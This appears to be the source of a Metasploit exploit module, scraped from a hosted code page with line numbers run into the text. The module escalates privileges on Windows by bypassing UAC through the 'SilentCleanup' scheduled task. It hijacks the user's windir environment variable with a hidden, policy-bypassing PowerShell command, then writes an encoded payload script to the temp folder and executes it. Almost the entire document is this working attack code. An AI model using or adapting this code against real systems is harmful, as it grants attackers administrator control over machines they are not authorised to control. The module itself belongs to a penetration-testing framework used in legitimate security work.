Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/bypassuac_silentcleanup.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::Powershell9include Msf::Post::Windows::Priv10include Msf::Post::File11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(update_info(info,15'Name' => 'Windows Escalate UAC Protection Bypass (Via SilentCleanup)',16'Description' => %q{17There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges.18When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,19%windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin.20},21'License' => MSF_LICENSE,22'Author' => [23'tyranid', # Discovery24'enigma0x3', # Discovery25'nyshone69', # Discovery26'lokiuox', # PSH script27'Carter Brainerd (cbrnrd)' # Metasploit Module28],29'Platform' => ['win'],30'SessionTypes' => ['meterpreter', 'shell'],31'Arch' => [ARCH_X86, ARCH_X64],32'Targets' => [['Microsoft Windows', {}]],33'DisclosureDate' => '2019-02-24',34'References' => [35['URL', 'https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html'],36['URL', 'https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/'],37['URL', 'https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/'],38['URL', 'https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/']39]40))4142register_options(43[44OptInt.new('SLEEPTIME', [false, 'The time (ms) to sleep before running SilentCleanup', 0]),45OptString.new('PSH_PATH', [true, 'The path to the Powershell binary.', "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"])46])47end4849def get_bypass_script(cmd)50scr = %Q{51if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {52$env:windir = [System.Environment]::GetEnvironmentVariable("windir", "machine")53#{cmd}54} else {55$registryPath = "HKCU:\\Environment"56$Name = "windir"57$Value = "powershell -ExecutionPolicy bypass -windowstyle hidden -Command `"& `'$PSCommandPath`'`";#"58Set-ItemProperty -Path $registryPath -Name $name -Value $Value59#Depending on the performance of the machine, some sleep time may be required before or after schtasks60Start-Sleep -Milliseconds #{datastore['SLEEPTIME']}61schtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I | Out-Null62Remove-ItemProperty -Path $registryPath -Name $name63}64}65vprint_status(scr)66scr67end6869def exploit70check_permissions7172e_vars = get_envs('TEMP')73payload_fp = "#{e_vars['TEMP']}\\#{rand_text_alpha(8)}.ps1"7475# Write it to disk, run, delete76upload_payload_ps1(payload_fp)77vprint_good("Payload uploaded to #{payload_fp}")7879cmd_exec("#{expand_path(datastore['PSH_PATH'])} -ep bypass #{payload_fp}")80end8182def check_permissions83# Check if you are an admin84case is_in_admin_group?85when nil86print_error('Either whoami is not there or failed to execute')87print_error('Continuing under assumption you already checked...')88when true89print_good('Part of Administrators group! Continuing...')90when false91fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')92end9394if get_integrity_level == INTEGRITY_LEVEL_SID[:low]95fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')96end97end9899def upload_payload_ps1(filepath)100pld = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)101begin102vprint_status('Uploading payload PS1...')103write_file(filepath, get_bypass_script(pld))104register_file_for_cleanup(filepath)105rescue Rex::Post::Meterpreter::RequestError => e106fail_with(Failure::Unknown, "Error uploading file #{filepath}: #{e.class} #{e}")107end108end109end110111112